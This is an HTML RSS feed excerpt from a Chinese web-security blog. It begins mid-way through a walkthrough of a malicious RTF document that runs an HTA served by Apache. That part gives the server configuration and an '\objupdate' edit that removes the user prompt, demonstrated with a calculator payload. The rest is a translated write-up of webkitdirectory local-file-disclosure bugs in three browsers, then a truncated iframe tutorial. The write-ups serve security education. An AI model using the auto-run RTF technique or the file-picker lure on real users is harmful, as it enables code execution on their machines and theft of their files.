&lt;/script&gt;&#34; &gt; test.rtf</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">此时我们需要修改apache的配置：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">vi /etc/apache2/apache2.conf</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">需要添加的内容如下：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">&lt;Directory /&gt;  
Dav on  
&lt;/Directory&gt;  
&lt;Directory /var/www/html/test/&gt;  
Header set Content-Type &#34;application/hta&#34;  
&lt;/Directory&gt;</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">效果如图：</p><p><img data-s="300,640" data-type="jpeg" data-w="317" data-ratio="0.5646687697160884" src="https://wechat2rss.xlab.app/img-proxy/?k=38e17d13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkhNLicibLF8XsxBzPAJ2J6dPp6gs8gZluEyfQmMeHNgauBSxD2xTqeib4g%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后重启服务器：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">service apache2 restart</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">此时打开我们的<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">exp.rtf</code></p><p><img data-s="300,640" data-type="png" data-w="1073" data-ratio="0.7418452935694315" src="https://wechat2rss.xlab.app/img-proxy/?k=5391ae02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5Uk7A9EaYWVEgia2wYdLveJlQqOS5JyRvbBnpWlZaO2V8I56yvALuwphlg%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">点击“是”，将会弹出计算器：</p><p><img data-s="300,640" data-type="jpeg" data-w="1241" data-ratio="0.6406124093473006" src="https://wechat2rss.xlab.app/img-proxy/?k=e2505ef0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkkuCb0ptz999S290GvfWOVyQy0n14pdMHalUWE7o231Mnwz3BskX5Gg%2F0%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><img data-type="gif" data-w="270" data-ratio="1.0444444444444445" src="https://wechat2rss.xlab.app/img-proxy/?k=d9c317cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkK5eVKRyCiaLwKHMic5XtDnu2DVrm1uYx6Z6IurdUqbiaiaIiaM9TI0zooUw%2F0%3Fwx_fmt%3Dgif"/></p><p><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">当然这个提示也是可以取消掉的。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">我们用<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">winhex</code>打开<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">exp.rtf</code>将<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">\object\objautlink\rsltpict</code>修改为<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">\object\objautlink\objupdate\rsltpict</code>：</p><p><img data-s="300,640" data-type="png" data-w="870" data-ratio="0.4908045977011494" src="https://wechat2rss.xlab.app/img-proxy/?k=131e6bad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkQmoCnNId5fcQiaUZxOGcwTkviblnyNHibySDXGA2IcIWW0znAhEXic0IiaA%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后再次打开<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">exp.rtf</code>，直接可以弹出计算器：</p><p><img data-s="300,640" data-type="png" data-w="1304" data-ratio="0.6510736196319018" src="https://wechat2rss.xlab.app/img-proxy/?k=b5477dc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkXntStU0a86ib9QJ2gQE85jib5NliaCw2qvd1mwVfibTds1ISAD0sUzLu7Q%2F0%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>是不是很厉害？</p><p><img data-s="300,640" data-type="jpeg" data-w="548" data-ratio="1.0930656934306568" src="https://wechat2rss.xlab.app/img-proxy/?k=fdae889b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5Uk4pF5qCcJx5YHpATt75nhgbo8yMo3YFehD9ywuKaicuUibHr2YnaiaNUng%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p></section></section><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em; margin-bottom: 1em; padding: 16px; font-size: 16px; white-space: normal; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p><br/></p><p style="white-space: normal;">                                                            </p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p><br/></p>



<p><a href="2247483862">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a9beb50c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483862%26idx%3D1%26sn%3D401a592f8175721bc78d688555a0f81d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 20 Apr 2017 08:11:00 +0800</pubDate>
    </item>
    <item>
      <title>跨浏览器本地文件泄露漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483843&amp;idx=1&amp;sn=4edf0aeaf1066d25720e8102e14ec4df</link>
      <description>震惊！原来上传文件夹功能还可以这么玩……</description>
      <content:encoded><![CDATA[<p>
<span>[译] Jess_喵</span> <span>2017-04-18 09:19</span> <span style="display: inline-block;"></span>
</p>

<p>震惊！原来上传文件夹功能还可以这么玩……</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=755d8ba3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDfZrtf5L1pcefstsRKrvDIicNu1wNY1PGzsfHQ1wFd7EJMjYQ5ruNl7A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section></section><p style="text-align:center"><br/></p><p style="text-align:left">你知道可以把常用的文件选择器变成文件夹选择器吗？把属性<span style="font-family: Verdana">“webkitdirectory”</span>添加到 <span style="font-family: Verdana">type =&#39;file&#39; </span>的<span style="font-family: Verdana">input</span>标签上即可。<span style="font-family: Verdana"> <br/></span>显然，与文件选择器不同，你最终会可以通过这个选择器加载所选文件夹中的所有文件。显而易见<span style="font-family: Verdana">,</span>这有一个明显的<span style="font-family: Verdana">bug</span>，所以在一系列尝试之后，我最终在三个主要的浏览器中测到一些漏洞。<span style="font-family: Verdana"> <br/></span>我会分别写每个浏览器，因为每个浏览器的案例与其他浏览器的都有所不同。</p><p style="margin-top:auto;margin-bottom:auto;text-align:left"><strong><span style="font-size: 24px"><br/></span></strong></p><p style="margin-top:auto;margin-bottom:auto;text-align:left"><strong><span style="font-size: 24px">火狐</span></strong><strong><span style="font-size: 24px;font-family: SimSun">浏览</span></strong><strong><span style="font-size: 24px">器</span></strong></p><p style="text-align:left">我已<span style="font-family: SimSun">经提交</span>了<span style="font-family: SimSun">火狐浏览器</span>webkitdirectory属性的三个不同的漏洞。幸运的是，<span style="font-family: SimSun">这</span>个文件<span style="font-family: SimSun">夹选择</span>功能<span style="font-family: SimSun">仅</span>在<span style="font-family: Verdana">Mozilla</span>的<span style="font-family: Verdana">Nightly</span><span style="font-family: SimSun">浏览器中实现，这个浏览器是在稳定版本发布之前测试新功能的用的。</span><span style="font-family: MingLiU"><br/></span><strong><span style="font-family: Verdana">Bug 1295914 - webkitdirectory</span></strong><strong>可以用来</strong><strong><span style="font-family: SimSun">诱骗</span></strong><strong>用</strong><strong><span style="font-family: SimSun">户</span></strong><strong>允</strong><strong><span style="font-family: SimSun">许访问</span></strong><strong>任意文件</strong><strong><span style="font-family: SimSun">夹</span></strong><strong>（</strong><strong><span style="font-family: Verdana">SEC-MEDIUM</span></strong><strong>）</strong><span style="font-family: Verdana"><br/></span>我<span style="font-family: SimSun">报</span>告的涉及文件<span style="font-family: SimSun">夹选择</span>器的第一个<span style="font-family:SimSun">漏洞</span>是<span style="font-family: SimSun">错误</span>的<span style="font-family: SimSun">表示</span>符号。<span style="font-family: SimSun">这</span>个<span style="font-family:SimSun">漏洞</span>受到[1]<span style="text-decoration:underline;"><span style="font-size: 17px">一个谷歌已</span><span style="font-size: 17px;font-family: SimSun">经</span><span style="font-size: 17px">修复的早期的</span><span style="font-size: 17px;font-family: Verdana">bug</span><span style="font-size: 17px">的</span></span>启<span style="font-family: SimSun">发</span>，<span style="font-family: Verdana"> </span>其中出<span style="font-family: SimSun">现</span>了关于交互提示<span style="font-family: SimSun">描述不清楚的问题。这可能导致那些无意识的用户受到欺骗。</span><span style="font-family: Verdana"> </span></p><p style="text-align:left"><span style="font-family: Verdana"><br/></span></p><p style="text-align:left"><span style="font-family: Verdana">[1]<span style="font-family: Verdana;"><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=252888" target="_blank">https://bugs.chromium.org/p/chromium/issues/detail?id=252888</a></span><strong><br/></strong></span></p><p style="text-align:left"><span style="font-family: Verdana"><strong><br/></strong></span></p><p style="text-align:left"><span style="font-family: Verdana"><strong>Bug 1319370</strong></span><strong>（</strong><strong><span style="font-family: Verdana">CVE-2017-5414</span></strong><strong>）</strong><strong><span style="font-family: Verdana">webkitdirectory - </span></strong><strong>操作系</strong><strong><span style="font-family: SimSun">统</span></strong><strong>用</strong><strong><span style="font-family: SimSun">户</span></strong><strong>名泄露（</strong><strong><span style="font-family: Verdana">SEC-MEDIUM</span></strong><strong>）</strong><span style="font-family: Verdana"><br/></span>我<span style="font-family: SimSun">认为</span>第二个<span style="font-family: SimSun">错误</span>是<span style="font-family: SimSun">实现</span>完整的本地文件泄露的关<span style="font-family: SimSun">键</span>因素。<span style="font-family: SimSun">这</span>里的<span style="font-family: SimSun">问题</span>是，当一个文件<span style="font-family: SimSun">选择</span>器被打开一次，那么第二次打开它会向后退到上一<span style="font-family: SimSun">层</span>文件<span style="font-family: SimSun">夹</span>。</p><p style="text-align:left"><br/>所以我做了一个<span style="font-family: Verdana">PoC</span>，它<span style="font-family: SimSun">展示了，</span>如果我<span style="font-family: SimSun">们让</span>一个被攻<span style="font-family: SimSun">击</span>者一直按着<span style="font-family: Verdana">&#39;Enter&#39;</span><span style="font-family: SimSun">键，同时我们弹出一个文件夹选择器，这将导致用户在无意识下</span><span style="font-family: Verdana">“</span><span style="font-family: SimSun">选择</span><span style="font-family: Verdana">”</span>文件<span style="font-family: SimSun">夹</span>。</p><p style="text-align:left"><br/><span style="font-family: MingLiU">为</span>了<span style="font-family: SimSun">获</span>取操作系<span style="font-family: SimSun">统</span>用<span style="font-family: SimSun">户</span>名，被攻<span style="font-family: SimSun">击</span>者需要在<span style="font-family: SimSun">弹</span>出两次文件<span style="font-family: SimSun">选择</span>框<span style="font-family: SimSun">时一直</span>按住‘enter’<span style="font-family: SimSun">键即可</span>，因<span style="font-family: SimSun">为</span>（在<span style="font-family: Verdana">Windows</span>上）文件<span style="font-family: SimSun">选择</span>器默<span style="font-family: SimSun">认</span>目<span style="font-family: SimSun">录</span>是<span style="font-family: Verdana">&#39;C</span>:\<span style="font-family: Verdana"> Users\ {username}\ Desktp\&#39;</span>。<span style="font-family: Verdana"> <br/></span><span style="font-family: SimSun">这是当我们试图利用这个漏洞时所需要的主要用户交互</span>，<span style="font-family: SimSun">它受到了早期Mozilla bug的启发。</span></p><p style="text-align:left"><span style="font-family: SimSun"><br/></span></p><p style="text-align:left">另一种方式是欺<span style="font-family: SimSun">骗</span>用<span style="font-family: SimSun">户</span>反复<span style="font-family: SimSun">选择</span>一个确定的路径并<span style="font-family: SimSun">弹</span>出文件<span style="font-family: SimSun">夹选择器</span>，<span style="font-family: SimSun">这样</span><span style="font-family: Verdana">“</span>确<span style="font-family: SimSun">认选择</span><span style="font-family: Verdana">”</span>按<span style="font-family: SimSun">钮</span>将被自<span style="font-family: SimSun">动</span>按下。<span style="font-family: Verdana"> <br/><strong>Bug 1338637 - </strong></span><strong>任意的本地文件</strong><strong><span style="font-family: SimSun">输</span></strong><strong>入泄露</strong><strong><span style="font-family: Verdana">[webkitdirectory]</span></strong><strong>（</strong><strong><span style="font-family: Verdana">SEC-MEDIUM</span></strong><strong>）</strong><span style="font-family: Verdana"><br/></span>我<span style="font-family: SimSun">发现</span>如果你可以在用<span style="font-family: SimSun">户按下</span><span style="font-family: Verdana">“Enter”</span><span style="font-family: SimSun">键的时弹出一个文件选择器</span>，那么我<span style="font-family: SimSun">们</span>可以欺<span style="font-family: SimSun">骗用户让</span>我<span style="font-family: SimSun">们可以访问</span>默<span style="font-family: SimSun">认</span>目<span style="font-family: SimSun">录</span>下的所有文件。<span style="font-family: SimSun">这</span>有一些限制，因<span style="font-family: SimSun">为</span>在<span style="font-family: Verdana">Windows</span>操作系<span style="font-family: SimSun">统</span>上，似乎只有<span style="font-family: Verdana">“</span>我的文档<span style="font-family: Verdana">”</span>文件<span style="font-family: SimSun">夹会</span>受此影响。</p><p style="text-align:left"><br/>如果它是一个不同的文件<span style="font-family: SimSun">夹</span>，如<span style="font-family: Verdana">“</span>桌面<span style="font-family: Verdana">” </span>（默<span style="font-family: SimSun">认</span>的）它不会加<span style="font-family: SimSun">载</span>任何<span style="font-family: SimSun">东</span>西。<span style="font-family: SimSun">这</span>在其他任何操作系<span style="font-family: SimSun">统</span>上是不同的。</p><p style="text-align:left"><br/><span style="font-family: SimSun">幸运的是，我们之前有一个漏洞，在使用了文件夹选择器后文件路径会到达上层，所以我在我的漏洞报告中使用了这一点。</span><span style="font-family: MingLiU"><br/></span><span style="font-family: SimSun">以下是原始的</span><span style="font-family: Verdana">PoC</span><span style="font-family: SimSun">报道。请注意，第一个漏洞并没有真正的</span><span style="font-family: Verdana">PoC</span>代<span style="font-family: SimSun">码</span>（除了<span style="font-family: Verdana">filepicker html</span>），我把第二个和第三个漏洞<span style="font-family: SimSun">组</span>合成了一个<span style="font-family: Verdana">PoC</span>。</p><p style="text-align:left"><br/></p><p><img data-s="300,640" data-type="png" data-w="2184" data-ratio="0.6575091575091575" src="https://wechat2rss.xlab.app/img-proxy/?k=5c991fc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDXl0yZVCFOx9bnGXuJdCvDU5NzeF7DtpR69CjRjyn5N1RaxC2kSHBJQ%2F0%3Fwx_fmt%3Dpng"/></p><p style="margin-top:auto;margin-bottom:auto;text-align:left"><strong><span style="font-size: 24px"><br/></span></strong></p><p style="margin-top:auto;margin-bottom:auto;text-align:left"><strong><span style="font-size: 24px">微</span></strong><strong><span style="font-size: 24px;font-family: SimSun">软</span></strong><strong><span style="font-size: 24px;font-family: Verdana">Edge</span></strong></p><p style="text-align:left">我报告了IE Edge浏览器的一个类似的bug，区别在于默认目录是“我的文档”，因此，我展示了文件夹选择器可以获取被攻击者的文档文件夹的所有文件</p><p style="text-align:left">这个bug目前已经被修复了</p><p style="text-align:left">原始的POC：</p><p style="text-align:left"><span style="font-family: Verdana"></span></p><p><img data-s="300,640" data-type="png" data-w="2362" data-ratio="0.6528365791701948" src="https://wechat2rss.xlab.app/img-proxy/?k=4a9aecb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDbgWebic3vQomuhNaW6BC5MniaNXoe5rMMPNfZvQnVmibEWnFp9yibgz8bw%2F0%3Fwx_fmt%3Dpng"/></p><p style="text-align:left"><br/></p><p style="margin-top:auto;margin-bottom:auto;text-align:left"><strong><span style="font-size: 24px">谷歌</span></strong><strong><span style="font-size: 24px;font-family: SimSun">浏览</span></strong><strong><span style="font-size: 24px">器</span></strong></p><p><span style="font-family: Verdana">Google</span>是我联系的第一个确认这个问题的厂商。在最初收到SEC-MEDIUM评级，后来更改为SEC-LOW并忽略了几个月（〜6）。事实证明，如果有人试图上传大规模的文件时chrome可以检测到这种类型的bug，因为它是记录在浏览器安全日志中的<br/>但是我仍然感到困惑，但是我相信他们的意思是，他们可以检测和阻止任何突然大量使用上传文件夹功能的恶意网站。在2017/4/13日写这篇文章的时候，提交给微软的POC仍然能够使用。</p><p style="text-align:left">最糟糕的是，如果文件<span style="font-family:SimSun">夹选择</span>器被默<span style="font-family:SimSun">认</span>在C:\，你将可以<span style="font-family:SimSun">读</span>取整个硬<span style="font-family:SimSun">盘</span>，因<span style="font-family:SimSun">为</span>文件<span style="font-family:SimSun">夹选择</span>器会上<span style="font-family:SimSun">传</span>所有子目<span style="font-family:SimSun">录</span>下的所有文件。</p><p style="text-align:left"><br/></p><p style="margin-top:auto;margin-bottom:auto;text-align:left"><strong><span style="font-size: 24px">参考文献：</span></strong></p><p><br/></p><p><span style="color: rgb(136, 136, 136); text-decoration: none;">[1]任意本地文件披露输入[webkitdirectory]错误报告： </span><a target="_blank" style="color: rgb(136, 136, 136); text-decoration: none;"><span style="color: rgb(136, 136, 136);">https </span></a><span style="color: rgb(136, 136, 136); text-decoration: none;">: </span><a target="_blank" style="color: rgb(136, 136, 136); text-decoration: none;"><span style="color: rgb(136, 136, 136);">//bugzilla.mozilla.org/show_bug.cgi?id=1338637 </span></a><br/><span style="color: rgb(136, 136, 136); text-decoration: none;">[2]（CVE-2017-5414）webkitdirectory - 操作系统用户名泄露：</span><a target="_blank" style="color: rgb(136, 136, 136); text-decoration: none;"><span style="color: rgb(136, 136, 136);">https://bugzilla.mozilla.org/show_bug.cgi?id=1319370 </span></a><br/><span style="color: rgb(136, 136, 136); text-decoration: none;">webkitdirectory可以用来诱使用户允许访问任意文件：</span><a target="_blank" style="color: rgb(136, 136, 136); text-decoration: none;"><span style="color: rgb(136, 136, 136);">https://bugzilla.mozilla.org/show_bug.cgi?id=1295914 </span></a><br/><span style="color: rgb(136, 136, 136); text-decoration: none;">[3]（CVE-2016-7239）微软Edge信息泄露漏洞：</span><a target="_blank" style="color: rgb(136, 136, 136); text-decoration: none;"><span style="color: rgb(136, 136, 136);">https://technet.microsoft.com/library/security/mt674627.aspx </span></a><br/><span style="color: rgb(136, 136, 136); text-decoration: none;">[4]Google错误报告：</span><a target="_blank" style="color: rgb(136, 136, 136); text-decoration: none;"><span style="color: rgb(136, 136, 136);">https://bugs.chromium.org/p/chromium/issues/detail?id=637098</span></a></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">作者：<span style="font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 16px;">Abdulrahman Al-Qabandi</span></p><p style="white-space: normal;"><span style="font-family: Verdana, Tahoma, Arial, sans-serif; font-size: 16px;">出处：<a href="http://leucosite.com/Chrome-Firefox-Edge-Local-File-Disclosure/" target="_blank">http://leucosite.com/Chrome-Firefox-Edge-Local-File-Disclosure/</a></span></p><p style="white-space: normal;">                                                                    </p><p><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p><br/></p>



<p><a href="2247483843">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1406a0bf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483843%26idx%3D1%26sn%3D4edf0aeaf1066d25720e8102e14ec4df%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 18 Apr 2017 09:19:00 +0800</pubDate>
    </item>
    <item>
      <title>iframe用法系列（一）：定义及同源策略篇</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483843&amp;idx=2&amp;sn=0bba8bbfe3b0f8ceefc8c7860dfd64af</link>
      <description>iframe太麻烦了，记录一下，以后用可以直接粘贴了~</description>
      <content:encoded><![CDATA[<p>
原创 <span>Jess_喵</span> <span>2017-04-18 09:19</span> <span style="display: inline-block;"></span>
</p>

<p>iframe太麻烦了，记录一下，以后用可以直接粘贴了~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7a93a828&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDMySVUJrg2YSdLjdicbk8FwUYQ20ZY7XrBKbH2FKzll6YViaaic5lKoW6Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p><p><strong><span style="font-size: 24px;">目录</span></strong></p></section><p>    1. iframe定义</p><p>    2. 什么是同源策略</p><p>    3. 父子及多层间互取元素</p><p>    4. 父子及多层间元素修改</p><p><br/></p><p class="p1"><strong><span style="font-size: 24px;">iframe定义</span></strong></p><p class="p1"><span style="text-align: center;"></span></p><p><img data-s="300,640" data-type="png" data-w="1314" data-ratio="0.4505327245053272" src="https://wechat2rss.xlab.app/img-proxy/?k=e1ddafbf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywjScyecOgictSpysBDMwDWDlmMo8JjexaYEib5594DASc0UL9A65gvKeUHI9vk2JHGUlPBqkOnYbvw%2F0%3Fwx_fmt%3Dpng"/></p><p class="p1"><span class="s1">name：可以用作&lt;a&gt;标签，&lt;form&gt;标签的target属性值，或&lt;input&gt; 标签和 &lt;button&gt;标签的formtaget属性，点击a标签后，会把href的网址引入到iframe。</span></p><p class="p1"><span class="s1">srcdoc：该属性值可以是HTML代码，最好能与sandbox一起使用。</span></p><p class="p1"><span class="s1">sandbox：通过不同属性定义为iframe增加限制条件，多个条件用空格分开。</span></p><ol class="ol1 list-paddingleft-2"><li><p><span class="s1">allow-forms: 允许iframe内容可以提交表单。</span></p></li><li><p><span class="s1">allow-modals: 允许iframe内容打开模态窗口。</span></p></li><li><p><span class="s1">allow-orientation-lock: 允许iframe内容禁用屏幕朝向锁定。</span></p></li><li><p><span class="s1">allow-pointer-lock: 允许iframe内容使用鼠标锁定API.</span></p></li><li><p><span class="s1">allow-popups: 允许打开新窗口 (类似window.open, target=&#34;_blank&#34;, showModalDialog)。</span></p></li><li><p><span class="s1">allow-popups-to-escape-sandbox: 允许打开新窗口，新页面不强制受到沙箱相关限制。</span></p></li><li><p><span class="s1">allow-presentation: 是否iframe启用一个展示会话。</span></p></li><li><p><span class="s1">allow-same-origin: 将内容作为同源对待。如果未使用该关键字，嵌入的内容将被视为一个独立的源。</span></p></li><li><p><span class="s1">allow-scripts: 允许嵌入的iframe运行脚本，否则不能运行。</span></p></li><li><p><span class="s1">allow-top-navigation:允许嵌入的页面的上下文可以导航（加载）内容到顶级的浏览上下文环境（browsing context）。</span></p></li></ol><p class="p1"><strong><span style="font-size: 24px;"><br/></span></strong></p><p class="p1"><strong><span style="font-size: 24px;">同源策略</span></strong></p><p class="p2"><span class="s1">同源策略即SOP，是万维网的核心安全机制，通过比较URL中的主机名（主域名）、协议及端口，来判断是否是同源，三者全部相同则视为同一个来源，有一个不同即为不同来源的资源。</span></p><p><img data-s="300,640" data-type="png" data-w="1312" data-ratio="0.29878048780487804" 